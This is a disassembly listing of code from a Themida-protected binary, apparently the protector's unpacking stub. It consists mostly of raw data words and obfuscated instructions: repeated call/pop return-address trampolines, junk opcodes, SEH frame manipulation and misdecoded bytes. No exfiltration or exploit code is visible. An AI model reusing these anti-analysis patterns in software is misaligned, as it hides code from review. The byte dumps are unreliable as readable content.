		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 7B56C357h
		dd 69FB7E13h, 0D381660Bh, 0EE92007h, 0B4000000h, 410F4B08h
		dd 1695ADD0h, 0C91F592Dh, 0E8C18BACh, 7, 0E4376F0Eh, 293315EBh
		dd 0D11AB195h, 0D1805B07h, 4BC381B8h, 66000074h, 687035B9h
		dd 0
; ---------------------------------------------------------------------------
		mov	di, cx
		pop	eax
		mov	ecx, [ebp+7D12C41h]


loc_5CCC0E:				; CODE XREF: Themida_:005CCC42j
		mov	edx, [ebx+eax]
		sub	edx, 76CEB732h
		mov	edi, [ebp+7D13111h]
		sub	edx, 506E44CBh
		sub	edx, 739CA41Eh
		mov	edi, 637BA8BEh
		mov	[ebx+eax], edx
		movzx	ecx, bx
		cmc
		sub	eax, 3
		mov	si, cx
		dec	eax
		cmp	eax, 0FFFF8C18h
		jnz	loc_5CCC0E
		mov	cx, si
		pusha
		push	0
		push	esi
		call	sub_5CCC57
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CCC57	proc near		; CODE XREF: Themida_:005CCC4Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5CCC57	endp

; ---------------------------------------------------------------------------
		aaa
		test	[edx-77h], edx
		test	[ecx-74F82EDFh], ebx
		rol	byte ptr [ebx-2ECBFA43h], 7
		add	[ebp+9], dh
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5CCC9D
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 438h
		mov	[ebp+7D113D5h],	eax
		lea	ebx, [ebp+7D3E1B0h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5CCC9D:				; CODE XREF: Themida_:005CCC82j
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5CCCBD
		push	eax
		push	ebx
		mov	eax, 438h
		mov	[ebp+7D113D5h],	eax
		lea	ebx, [ebp+7D3DE9Fh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5CCCBD:				; CODE XREF: Themida_:005CCCA4j
		mov	edi, 3CC04652h
		push	0
		push	eax
		call	sub_5CCCCD
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CCCCD	proc near		; CODE XREF: Themida_:005CCCC5p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5CCCCD	endp

; ---------------------------------------------------------------------------
		db 0B6h, 0F7h, 2Bh
; ---------------------------------------------------------------------------
		and	esi, eax
		or	bh, [esi-54h]
		sub	al, [esi]
		adc	si, 0BAF9h
		mov	eax, eax
		push	0
		push	edi
		call	sub_5CCCF9
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CCCF9	proc near		; CODE XREF: Themida_:005CCCF1p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5CCCF9	endp

; ---------------------------------------------------------------------------
		jmp	short loc_5CCD24
; ---------------------------------------------------------------------------
		db 0E4h
		dd 765565h, 0DE897D8h, 7D000000h, 0FAB15CAAh, 0F93FF519h
		dd 47A5DFDFh
; ---------------------------------------------------------------------------


loc_5CCD24:				; CODE XREF: Themida_:005CCD09j
		pop	esi
		call	sub_5CD677
		push	0
		push	ebx
		call	sub_5CCD35
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CCD35	proc near		; CODE XREF: Themida_:005CCD2Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5CCD35	endp

; ---------------------------------------------------------------------------
		cmp	al, [edi]
		fimul	dword ptr [ebx-774C967h]
		mov	[ebp+7D12445h],	eax
		call	sub_5CD677
		push	0
		push	eax
		call	sub_5CCD63
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CCD63	proc near		; CODE XREF: Themida_:005CCD5Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5CCD63	endp

; ---------------------------------------------------------------------------
		db 48h
		dd 0A9A324E9h, 2959F744h, 0D1162995h, 0F18B6607h, 25B18D89h
		dd 858907D1h, 7D118F5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 1BC35242h, 30B9B18Dh,	0C8FC75F7h, 8BDE8EDh
		dd 8D8B0000h, 7D12BFDh,	818589FCh, 6A07D110h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 99A0C353h, 5BC25CEDh, 12E884D3h, 47000000h, 0CE1B464Ch
		dd 9BC9940Ch, 1D86AB9h,	16534C22h, 880F83h, 5E000000h
		dd 86AE8h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1604h, 0C3504000h, 89FAE468h, 0D11AD185h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 6E8B827h, 3D000000h,	0C985FC60h, 68B0FCAh, 89000000h
		dd 0D106FD85h, 0CE85E07h, 81000008h, 108EABD1h,	65BD8B51h
		dd 8907D12Ah, 0D12F0585h, 0A5B58907h, 0E807D125h, 7EFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 30C35747h
		dd 665D8D8Fh, 34A4E181h, 1C218589h, 0E85007D1h,	8, 85F0A417h
		dd 28BB5A5h, 1611BD29h,	5E5F07D1h, 7AAE8h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 51B19506h, 17F68166h, 0F18589EEh, 6607D11Fh,	1B94E781h
		dd 776E8h, 7E900h, 0A9D80000h, 7E8C66B3h, 658589BEh, 6A07D11Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0B226C355h, 58E24713h, 8BAE1156h,	0D11FFD8Dh
		dd 735E807h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 7FC82EC3h, 0EDCD644Bh, 89F88B66h
		dd 0D1306D85h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0B649F8EDh, 0F17D596Bh
		dd 9E95260h, 88000000h,	0DE519F9Ah, 2AFF0AF3h, 1830F5Fh
		dd 0F5000000h, 6C9E861h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 1DC256C3h, 93C79C47h
		dd 0E9EC8158h, 7, 0A722AA43h, 8918C1F4h, 0D1068D85h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 4C4C6BEh, 0FFE6109h,	0BD03FFBAh, 7D11469h, 662E8h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 74965C41h, 0A49F8757h, 8589F18Bh, 7D11C75h, 30E8F98Bh
		dd 6A000006h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 77A7C355h, 68D0Fh, 0E1810000h
		dd 7CD85376h, 5A98589h,	0FCE807D1h, 6A000005h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0B29BC357h, 64DDC776h, 0FC5D42Fh, 689h, 5D9D0100h, 8907D117h
		dd 0D128A585h, 83D98107h, 0E860DD06h, 5BBh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 69C35040h, 8501C34Eh
		dd 7D1243Dh, 38B0Fh, 8B660000h,	498589C8h, 6007D100h, 10E9h
		dd 5B981C00h, 6213BFB1h, 1EB9A71Dh, 4A02587Eh, 0FE900h
		dd 0BBB90000h, 0DA462D05h, 0D0608184h, 38F88672h, 58E861E1h
		dd 6A000005h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 586BC356h, 42971A69h, 2DC18589h
		dd 6A07D1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 60ACDCC3h, 4B34C355h, 509E8FBh, 0CE90000h
		dd 0D4000000h, 0D38B448Dh, 9B51F274h, 8BF241A1h, 0D1211D8Dh
		dd 29858907h, 0E807D115h, 8, 7F6E414h, 4A5C3506h, 0ADBD235Eh
		dd 0B007D12Bh, 0A1858900h, 0F07D101h, 6AD8B6h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0BFE5AFC3h, 18C70BA7h, 6BAh,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0F57198E2h
		dd 270DBD29h, 0C38B07D1h, 0C1FBBF0Fh, 6A04E8h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0D688C0C3h, 13FD9589h, 66F907D1h, 6AE2F7h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0FAD41EC3h
		dd 0A4D0022Eh, 26BF66CBh, 6AD82BFCh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 978DC355h
		dd 0A0730A8Fh, 8B93193Dh, 6A9350F2h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0D8E4C355h
		dd 8997D0ABh, 0D1175D95h, 0C595FF07h, 6A07D101h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0F672C351h, 98DCB955h, 5B04281Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 71C35040h, 66CF8BA0h, 0EB5FE981h
		dd 2E15958Dh, 6A07D1h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 813898C3h, 0A18D8BCCh, 0E807D101h
		dd 13h,	0FAC1C6B5h, 24949989h, 7A1668ACh, 41E12049h, 0E9B88632h
		dd 9, 0B706692Ch, 0F1A20792h, 1A895EA9h, 1E35B58Bh, 428907D1h
		dd 57006A04h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 2F0BCF0Fh, 59BD8Bh, 958D07D1h, 7D11479h
		dd 2A859D89h, 816607D1h, 893735E6h, 50006A1Ah, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0D46F953Ch
		dd 0CF816685h, 42890FA0h, 99CD8004h, 1998D89h, 958D07D1h
		dd 7D11891h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	60C35040h, 8BF07E86h, 0D116A5BDh, 6A1A8907h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 539BC353h, 23FB6837h, 8B66F740h, 44289CFh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 9DC35040h, 35A3C79h
		dd 8BAE7FC5h, 0D12331B5h, 98D8907h, 8D07D121h, 0D12BE595h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 1A89A813h, 428909B5h, 518D0B04h,	8D07D106h
		dd 0D1307995h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0EE922h, 8C7B0000h, 0F82A467Dh
		dd 2B4E014Ch, 69E27EE8h, 38A0Fh, 8B660000h, 6A1A89CFh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 285EC350h, 0A501E571h, 44289C9h, 0D9950360h
		dd 0E807D103h, 11h, 0A22D29ADh,	731DD64Fh, 0CF1DFA3Dh
		dd 6FDBBF29h, 5F6160BAh, 71958D61h, 6A07D120h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 4A6CC352h, 0BE66584Ah, 830F068Dh, 6,	215DB58Bh, 858907D1h
		dd 7D13339h, 6A1A89h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0C72EB9C3h, 6EAD0BC5h, 40B966CBh
		dd 44289ADh, 6798D89h, 958D07D1h, 7D12519h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	2CC35040h, 2F43BDC8h, 8B7A89FDh, 0D119E5BDh, 6A1A8907h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 284CC356h, 17018D2Bh, 428907D1h, 51006A04h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 46320148h, 0C781FE11h, 692A35D9h, 5B98D8Bh, 958D07D1h
		dd 7D11849h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	9AC35141h, 0D10306FDh, 1A89E364h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 0F3C35747h, 0F1B70F60h
		dd 68D0Fh, 858B0000h, 7D11EEDh,	4428961h, 0E9CEBF0Fh, 12Ch
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 99C35141h
		dd 0E94EC6D8h, 13h, 683F5E83h, 73E9A133h, 0C58AB8C9h, 359A7E50h
		db 0B8h, 0E6h, 0F9h

; =============== S U B	R O U T	I N E =======================================



sub_5CD677	proc near		; CODE XREF: Themida_:005CCD25p
					; Themida_:005CCD53p
		push	0
		push	0
		push	ecx
		call	sub_5CD684
		and	[ecx-3Dh], bl
sub_5CD677	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CD684	proc near		; CODE XREF: sub_5CD677+5p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5CD684	endp

; ---------------------------------------------------------------------------
		xor	[ebx], dh
		mov	[eax+2B8B5C44h], eax
		test	dword ptr [esi+14A59D29h], 6A07D1h
		push	0
		push	ebx
		call	sub_5CD6B1
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD6B1	proc near		; CODE XREF: Themida_:005CD6A9p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5CD6B1	endp

; ---------------------------------------------------------------------------
		db 0E9h, 0Bh, 0BDh
; ---------------------------------------------------------------------------
		add	[eax], edx
		rol	dword ptr [edi], 1
		movsx	edi, ax
		push	0
		push	0
		push	eax
		call	sub_5CD6D8
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD6D8	proc near		; CODE XREF: Themida_:005CD6D0p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5CD6D8	endp

; ---------------------------------------------------------------------------
		das
		inc	esp
		lodsd
		sub	esi, [ebp+7D101C9h]
		jg	loc_5CD6FC
		mov	ecx, 6C4A450Ch


loc_5CD6FC:				; CODE XREF: Themida_:005CD6F1j
		push	0
		push	0
		push	edx
		call	sub_5CD709
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD709	proc near		; CODE XREF: Themida_:005CD701p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5CD709	endp

; ---------------------------------------------------------------------------
		db 0Bh,	50h, 0C4h
		dd 158FC8DEh, 177995FFh, 6A07D1h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 851C1C3h, 1A40D0FEh
		dd 0F98B66A8h, 56006AC3h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0CA8BA03Dh, 6AC58Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0A318C6C3h, 0D26F437Dh, 5760C08Bh, 615AF38Bh, 3405BD83h
		dd 750007D1h, 49BD8309h, 7D128h, 53501974h, 38B8C08Bh
		dd 89000004h, 0D1201185h, 179D8D07h, 0FF07D3E2h, 83585BD3h
		dd 0D12849BDh, 17740007h, 38B85350h, 89000004h,	0D1201185h
		dd 0B89D8D07h, 0FF07D3DEh, 66585BD3h, 6AFA18BFh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 89BBC356h, 0D12F8D85h, 8DC08B07h, 0D1136185h, 19858907h
		dd 6607D118h, 90A1CBBFh, 0D86943BFh, 51605048h,	85F5BA66h
		dd 0C38B6659h, 9D8B9061h, 7D10685h, 0B589006Ah,	7D12BBDh
		dd 0B529006Ah, 7D119F1h, 6E19D8Bh, 858D07D1h, 7D57414h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 81C35040h
		dd 2CDB8166h, 5C083D2h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 15C35141h, 76DC6F6Dh,	0FD3B10F9h, 67B7503Dh
		dd 0B595895Bh, 9007D10Fh, 2E62E8BBh, 5350502Dh,	52905B5Fh
		dd 0B9D38166h, 6A5F03h,	13ED8589h, 6A07D1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 33C35040h, 41BD2392h
		dd 6607D12Bh, 0FFDC84BFh, 0D11DE195h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 1A880FB8h, 0E8000000h, 0Eh, 97DECD67h, 23362EE6h, 0CC3B114Dh
		dd 9D336424h, 7D10C21h,	12E95Bh, 690A0000h, 0E83361C4h
		dd 8CF4C4B6h, 1892EEE4h, 2297FACFh, 0D5668D8Dh,	6A07D4h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 578DB9C3h, 0FA4E6EE6h, 0D1FFBC00h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 8FC35141h, 0E8CFD6E1h, 0DA6D8E72h
		dd 1ECD9589h, 0BD8307D1h, 7D11715h, 0AF850F01h,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 9413C356h, 0ED61F6A6h, 0BD8B37F4h, 7D120FDh
		dd 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0BDDA49C3h, 5050EE2Dh, 9705BB66h,	2404895Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 80C35141h
		dd 11E9DEh, 0CDB40000h,	4CEEF6BDh, 94DF88DFh, 0A1129692h
		dd 0FF36DF1Ah, 0D11DE995h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 62A959EFh
		dd 68E9994Bh, 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7D5741Eh
		push	0
		push	eax
		call	sub_5CDA6E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDA6E	proc near		; CODE XREF: Themida_:005CDA66p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5CDA6E	endp

; ---------------------------------------------------------------------------
		scasd
		xlat
		cmpsb
		mov	ebx, [ebp+7D101B5h]
		jmp	loc_5CDA91
; ---------------------------------------------------------------------------
		dd 0FFC7382Eh
		db 0C1h
; ---------------------------------------------------------------------------


loc_5CDA91:				; CODE XREF: Themida_:005CDA87j
		lea	eax, [ebp+7D4BC77h]
		and	ebx, [ebp+7D11ED1h]
		push	eax
		mov	edi, 5851FB17h
		mov	[esp], eax
		mov	[ebp+7D117E9h],	ecx
		push	large dword ptr	fs:0
		push	0
		push	ecx
		call	sub_5CDABE
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDABE	proc near		; CODE XREF: Themida_:005CDAB6p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5CDABE	endp

; ---------------------------------------------------------------------------
		dw 0B1FFh
; ---------------------------------------------------------------------------
		mov	large fs:0, esp
		push	0
		push	ebp
		call	sub_5CDAE2
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDAE2	proc near		; CODE XREF: Themida_:005CDADAp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5CDAE2	endp

; ---------------------------------------------------------------------------
		mov	al, ds:0BBE8D37Fh
		popa
		and	[ecx+1Fh], eax
		inc	dword ptr [ebp+7D12921h]
		push	0
		push	ebx
		call	sub_5CDB0C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDB0C	proc near		; CODE XREF: Themida_:005CDB04p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5CDB0C	endp

; ---------------------------------------------------------------------------
		sub	[edx-1], ebp	; CODE XREF: Themida_:005CE76Dj
		sub	[ebp+7D1028Dh],	edi
		push	dword ptr [ebp+7D12445h]
		jmp	loc_5CDB3C
; ---------------------------------------------------------------------------
		dd 0CD8D7FFAh, 0CF1AB17Ch, 0DA64826Ch
; ---------------------------------------------------------------------------


loc_5CDB3C:				; CODE XREF: Themida_:005CDB2Bj
		call	dword ptr [ebp+7D1141Dh]
		jmp	loc_5CDC5F
; ---------------------------------------------------------------------------
		db 1
		dd 0D1108995h, 8900B007h, 0D1102DB5h, 0BD958907h, 0E607D108h
		dd 95295170h, 7D12C09h,	0E971E45Bh, 7, 871B05D1h, 3C911183h
		dd 0E4830F61h, 0F000000h, 0C381C8B6h, 0EF59A55h, 6BAh
		dd 13E900h, 6EA10000h, 7A172917h, 0A587DD50h, 6C8F293Fh
		dd 0C53EFD42h, 66C18BCCh, 0C89FC781h, 8B04E8C1h, 0D125C1BDh
		dd 0E2F76607h, 2BFE8B66h, 0BDBD33C8h, 8B07D122h, 7D9D8BD1h
		dd 0E907D11Bh, 0Bh, 5870Fh, 81660000h, 8BE6F2EBh, 0D12E1585h
		dd 4880F07h, 56000000h,	835F5B57h, 9D8B07C0h, 7D12C21h
		dd 8B00C083h, 0D10889BDh, 0FD03B07h, 2083h, 0AE800h, 87100000h
		dd 0A502D5FEh, 5055478Ch, 7C4CF0BFh, 44E95F50h,	89000000h
		dd 0D12DFDBDh, 0CD8D8B07h, 8B07D103h, 1E183F9h,	2D840Fh
		dd 870F0000h, 0Ch, 6800Fh, 8F0F0000h, 0
; ---------------------------------------------------------------------------
		cld
		and	dword ptr [ebp+7D103CDh], 0FFFFFFFEh
		mov	ebx, [ebp+7D10C8Dh]
		mov	[ebp+7D12E15h],	edx
		push	esi
		pop	edi
		jmp	$+5


loc_5CDC5F:				; CODE XREF: Themida_:005CDB42j
		lea	esi, [ebp+7D501A7h]
		push	0
		push	ebp
		call	sub_5CDC70
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDC70	proc near		; CODE XREF: Themida_:005CDC68p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5CDC70	endp

; ---------------------------------------------------------------------------
		dd 0FFFF45A5h, 0DE004CC9h, 0BD8BA36Ch, 7D105C1h, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0FF8778C3h, 0D1005595h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 7D43AB19h
		dd 669490A3h, 9232C781h, 709B9h, 1DF78000h, 6AFCE183h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 57DC355h,	4B7BEE7Fh, 8D0F0930h, 3, 0FCDE8B66h
		dd 91958952h, 5F07D105h, 11860Fh, 0CE90000h, 0C5000000h
		dd 893A471Bh, 57AB6DD9h, 2B927204h, 7D8D89C0h, 2B07D11Ch
		dd 52006AD2h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0AD343659h, 0E8D1C233h, 0E983D003h, 6AF47504h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0FEA4C353h, 0DA024854h, 0BB6685B8h, 0E3BBF905h
		dd 0D64BAEBh, 88h, 0EDD8D89h, 958B07D1h, 7D11B51h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 16C35646h, 8EBE17CDh
		dd 0C6E8BF61h, 8D8B09CBh, 7D12D55h, 8B5028B7h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 20BD9D8Bh, 0BD8907D1h
		dd 7D12901h, 1BC5BD83h,	0F0007D1h, 4B84h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 0F85F9AC8h, 8D29B0ABh, 7D129DDh, 0B8h, 0BF0F6000h, 0D78B66F2h
		dd 0A8D8D61h, 0F507D14Dh, 2960E1FFh, 0D11D0D85h, 458D8907h
		dd 6107D117h, 1D39BD83h, 0F0007D1h, 4C384h, 83E5B700h
		dd 0D11D39BDh, 840F0107h, 4CFh,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 4FC35242h, 422B98CCh, 28018D89h
		dd 0BD8307D1h, 7D11D39h, 66860F03h, 2B000004h, 0D115D99Dh
		dd 6A6007h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 84235FC3h, 7B83D1E8h, 5BCF81CEh, 5351057Bh
		dd 8C665BF9h, 699D8BD9h, 8007D114h, 0DB8104E1h,	2C8CF3E1h
		dd 840FC90Ah, 1AAh, 1C7D8529h, 0BD3307D1h, 7D107C9h, 28F5858Bh
		dd 6A07D1h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 5F0C47C3h, 0F5BD8B7Ah, 8907D125h,	0D1003D95h
		dd 0CD853307h, 6A07D131h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0B6F8C350h,	0F6090D4h
		dd 1684h, 11E900h, 0C5330000h, 93845CAFh, 87D124E7h, 0BA942729h
		dd 61EE6416h, 5E85350h,	95000000h, 508F5D0Bh, 0AE9h, 0E6733000h
		dd 18FCA532h, 5B083D09h, 9D29905Fh, 7D126EDh, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 86EDCBC3h, 894646A1h, 0D128B9B5h, 8E907h, 275D0000h
		dd 987F9F48h, 45683864h, 0F511BA9h, 58Eh, 975DBF00h, 34814138h
		dd 4AABA24h, 50006A51h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0CE990h, 68170000h, 0B4DB16DBh, 9ED5E272h
		dd 8F0F94B0h, 6, 22018589h, 95FF07D1h, 7D12B15h, 14E8F9h
		dd 0B45C0000h, 0EEF6BDCDh, 0DF88DF4Ch, 12969294h, 36DF1AA1h
		dd 0BD89E262h, 7D10835h, 5A85895Bh, 6A07D4EAh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 1F3AC355h, 921951E0h, 95896057h, 7D11149h, 0BE9h, 588C8800h
		dd 7FE36B50h, 3D94E03Ch, 0BE95F61h, 93000000h, 0C20CFC19h
		dd 759392ABh, 0DFE9AFA0h, 80000001h, 858BF1E3h,	7D4EA52h
		dd 0C7D88B66h, 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0B58B4F67h, 7D4EA56h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 5EC35747h
		dd 218AAC5Eh, 0F9981A50h, 2D5D9D8Bh, 0BD8B07D1h, 7D101FDh
		dd 0C9D858Bh, 0C78107D1h, 538FEF83h, 0B5890689h, 7D1185Dh
		dd 28F5858Bh, 0BD8B07D1h, 7D10BFDh, 6A044689h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 2689C357h, 6683D381h, 66965054h, 507BD5BBh, 53006A96h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 58A47F9Bh, 10E9B3B8h, 92000000h, 0AFA07593h,	8DBB81C1h
		dd 8FAACED1h, 0FF89E0E7h, 0D4EA52B5h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 4AC9050Fh, 2FFA3785h, 0BD89228Ah, 7D11481h, 4E8h, 1F03FF00h
